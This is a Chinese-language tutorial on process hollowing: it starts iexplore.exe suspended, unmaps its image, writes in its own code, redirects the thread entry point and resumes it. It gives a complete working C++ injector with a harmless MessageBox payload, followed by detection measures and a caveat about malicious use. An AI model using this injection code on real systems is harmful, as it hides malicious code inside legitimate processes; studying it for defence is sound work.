傀儡进程的分析与实现
字数 954 2025-08-09 13:33:44

傀儡进程的分析与实现

前言

傀儡进程是一种进程隐藏技术,通过挂起目标进程并修改其内存内容来实现代码注入。本文详细分析并实现了这种技术。

基础知识

挂起方式创建进程

使用CreateProcess函数创建进程时,通过设置CREATE_SUSPENDED标志可以创建处于挂起状态的进程:

BOOL CreateProcess(
  LPCTSTR lpApplicationName,
  LPTSTR lpCommandLine,
  LPSECURITY_ATTRIBUTES lpProcessAttributes,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  BOOL bInheritHandles,
  DWORD dwCreationFlags,
  LPVOID lpEnvironment,
  LPCTSTR lpCurrentDirectory,
  LPSTARTUPINFO lpStartupInfo,
  LPPROCESS_INFORMATION lpProcessInformation
);

关键参数:

  • dwCreationFlags:设置为CREATE_SUSPENDED使进程创建后处于挂起状态
  • lpProcessAttributeslpThreadAttributes:控制进程和线程句柄的继承性

进程挂起与恢复

  • SuspendThread:挂起指定线程
  • ResumeThread:恢复被挂起的线程
  • TerminateProcess:终止进程

实现原理

  1. 以挂起方式创建目标进程
  2. 获取并修改进程内存
  3. 设置新的执行入口点
  4. 恢复进程执行

详细实现步骤

1. 创建挂起进程

BOOL CreateEXE() {
    wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
    STARTUPINFO si = {0};
    si.cb = sizeof(si);
    PROCESS_INFORMATION pi = {0};
    
    BOOL bRet = CreateProcessW(NULL, wszIePath, NULL, NULL, FALSE, 
                              CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    return bRet;
}

2. 卸载原有内存映射

使用ZwUnmapViewOfSection卸载目标进程的内存映射:

typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(
    IN HANDLE ProcessHandle,
    IN LPVOID BaseAddress
);

pfnZwUnmapViewOfSection ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)
    GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

3. 获取进程信息

  • 获取当前模块基址和大小:
HMODULE hModuleBase = GetModuleHandleA(NULL);

DWORD GetCurModuleSize(DWORD dwModuleBase) {
    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
    return pNtHdr->OptionalHeader.SizeOfImage;
}
  • 获取远程进程映像基址:
DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
    DWORD dwBaseRet;
    ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
    return dwBaseRet;
}

4. 分配新内存并写入代码

LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, 
                                   MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);

5. 修改线程上下文

CONTEXT Thread;
Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
GetThreadContext(pi.hThread, &Thread);

// 设置新的入口点
void Mess() {
    MessageBoxA(0, "Inject successfully", "", 0);
}

Thread.Eip = (DWORD)Mess;

SetThreadContext(pi.hThread, &Thread);

6. 恢复线程执行

ResumeThread(pi.hThread);

完整代码实现

#include <windows.h>
#include <tchar.h>
#include <iostream>
using namespace std;

typedef long NTSTATUS;
typedef NTSTATUS(__stdcall* pfnZwUnmapViewOfSection)(IN HANDLE, IN LPVOID);
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;

PROCESS_INFORMATION pi = {0};

BOOL CreateEXE() {
    wchar_t wszIePath[] = L"C:\\Program Files\\Internet Explorer\\iexplore.exe";
    STARTUPINFO si = {0};
    si.cb = sizeof(si);
    BOOL bRet = CreateProcessW(NULL, wszIePath, NULL, NULL, FALSE, 
                             CREATE_SUSPENDED, NULL, NULL, &si, &pi);
    return bRet;
}

DWORD GetCurModuleSize(DWORD dwModuleBase) {
    PIMAGE_DOS_HEADER pDosHdr = (PIMAGE_DOS_HEADER)dwModuleBase;
    PIMAGE_NT_HEADERS pNtHdr = (PIMAGE_NT_HEADERS)(dwModuleBase + pDosHdr->e_lfanew);
    return pNtHdr->OptionalHeader.SizeOfImage;
}

DWORD GetRemoteProcessImageBase(DWORD dwPEB) {
    DWORD dwBaseRet;
    ReadProcessMemory(pi.hProcess, (LPVOID)(dwPEB + 8), &dwBaseRet, sizeof(DWORD), NULL);
    return dwBaseRet;
}

void Mess() {
    MessageBoxA(0, "Inject successfully", "", 0);
}

DWORD GetNewOEP() {
    return (DWORD)Mess;
}

int _tmain(int argc, _TCHAR* argv[]) {
    // 获取ZwUnmapViewOfSection函数
    ZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)
        GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwUnmapViewOfSection");

    if (!CreateEXE()) {
        printf("Create Process failed\n");
        exit(1);
    }

    HMODULE hModuleBase = GetModuleHandleA(NULL);
    DWORD dwImageSize = GetCurModuleSize((DWORD)hModuleBase);

    CONTEXT Thread;
    Thread.ContextFlags = CONTEXT_FULL | CONTEXT_DEBUG_REGISTERS;
    GetThreadContext(pi.hThread, &Thread);

    DWORD dwRemoteImageBase = GetRemoteProcessImageBase(Thread.Ebx);
    ZwUnmapViewOfSection(pi.hProcess, (LPVOID)dwRemoteImageBase);

    LPVOID lpAllocAddr = VirtualAllocEx(pi.hProcess, hModuleBase, dwImageSize, 
                                       MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    WriteProcessMemory(pi.hProcess, hModuleBase, hModuleBase, dwImageSize, NULL);

    Thread.ContextFlags = CONTEXT_FULL;
    Thread.Eip = GetNewOEP();
    SetThreadContext(pi.hThread, &Thread);

    ResumeThread(pi.hThread);
    return 0;
}

技术要点总结

  1. 进程创建控制:使用CREATE_SUSPENDED标志创建挂起状态的进程
  2. 内存操作:通过ZwUnmapViewOfSectionVirtualAllocEx控制进程内存
  3. 上下文修改:使用GetThreadContextSetThreadContext修改线程执行上下文
  4. 代码注入:通过WriteProcessMemory将代码写入目标进程
  5. 执行恢复:使用ResumeThread恢复进程执行

防御措施

  1. 监控进程创建行为,特别是带有CREATE_SUSPENDED标志的创建
  2. 检查进程内存的异常修改
  3. 监控ZwUnmapViewOfSection等敏感API的调用
  4. 实施代码完整性检查

应用场景

  1. 恶意代码注入
  2. 进程隐藏
  3. 反调试技术
  4. 合法用途如进程调试和监控

注意事项

  1. 此技术可能被用于恶意目的,仅限合法研究和防御使用
  2. 不同Windows版本实现可能有差异
  3. 需要管理员权限执行
  4. 可能触发安全软件的防护机制
傀儡进程的分析与实现 前言 傀儡进程是一种进程隐藏技术,通过挂起目标进程并修改其内存内容来实现代码注入。本文详细分析并实现了这种技术。 基础知识 挂起方式创建进程 使用 CreateProcess 函数创建进程时,通过设置 CREATE_SUSPENDED 标志可以创建处于挂起状态的进程: 关键参数: dwCreationFlags :设置为 CREATE_SUSPENDED 使进程创建后处于挂起状态 lpProcessAttributes 和 lpThreadAttributes :控制进程和线程句柄的继承性 进程挂起与恢复 SuspendThread :挂起指定线程 ResumeThread :恢复被挂起的线程 TerminateProcess :终止进程 实现原理 以挂起方式创建目标进程 获取并修改进程内存 设置新的执行入口点 恢复进程执行 详细实现步骤 1. 创建挂起进程 2. 卸载原有内存映射 使用 ZwUnmapViewOfSection 卸载目标进程的内存映射: 3. 获取进程信息 获取当前模块基址和大小: 获取远程进程映像基址: 4. 分配新内存并写入代码 5. 修改线程上下文 6. 恢复线程执行 完整代码实现 技术要点总结 进程创建控制 :使用 CREATE_SUSPENDED 标志创建挂起状态的进程 内存操作 :通过 ZwUnmapViewOfSection 和 VirtualAllocEx 控制进程内存 上下文修改 :使用 GetThreadContext 和 SetThreadContext 修改线程执行上下文 代码注入 :通过 WriteProcessMemory 将代码写入目标进程 执行恢复 :使用 ResumeThread 恢复进程执行 防御措施 监控进程创建行为,特别是带有 CREATE_SUSPENDED 标志的创建 检查进程内存的异常修改 监控 ZwUnmapViewOfSection 等敏感API的调用 实施代码完整性检查 应用场景 恶意代码注入 进程隐藏 反调试技术 合法用途如进程调试和监控 注意事项 此技术可能被用于恶意目的,仅限合法研究和防御使用 不同Windows版本实现可能有差异 需要管理员权限执行 可能触发安全软件的防护机制